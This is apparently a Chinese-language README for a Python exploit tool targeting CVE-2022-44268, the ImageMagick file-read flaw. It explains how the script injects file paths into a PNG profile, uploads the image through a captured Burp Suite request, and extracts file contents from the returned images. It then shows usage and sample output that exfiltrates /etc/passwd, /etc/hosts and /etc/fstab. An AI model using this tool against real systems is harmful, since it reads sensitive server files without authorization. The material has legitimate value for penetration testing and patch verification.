使用 cve-2022-44268 的自动 python 脚本，可以从输入文件列表中添加带有文件名的 profile 值到输入文件中，利用来自 Burpsuite 的输入 request.req 文件（已包含）更新图片文件上传，上传每个修改后的图片，然后从返回的 url 下载图片并提取文件内容，将其放入指定的输出目录。
$ ./cve-2022-44268.py
usage: cve-2022-44268.py [-h] base_png filelist request_req output_dir image_output_dir
cve-2022-44268.py: error: the following arguments are required: base_png, filelist, request_req, output_dir, image_output_dir
$ ./cve-2022-44268.py image.png filelist.lst request.req output_dir image_output_dir
Exploiting for file: /etc/passwd
Saved shrunk image to: image_output_dir/etc_passwd_shrunk.png
Saved extracted content to: output_dir/etc_passwd
Exploiting for file: /etc/hosts
Saved shrunk image to: image_output_dir/etc_hosts_shrunk.png
Saved extracted content to: output_dir/etc_hosts
Exploiting for file: /etc/fstab
Saved shrunk image to: image_output_dir/etc_fstab_shrunk.png
Saved extracted content to: output_dir/etc_fstab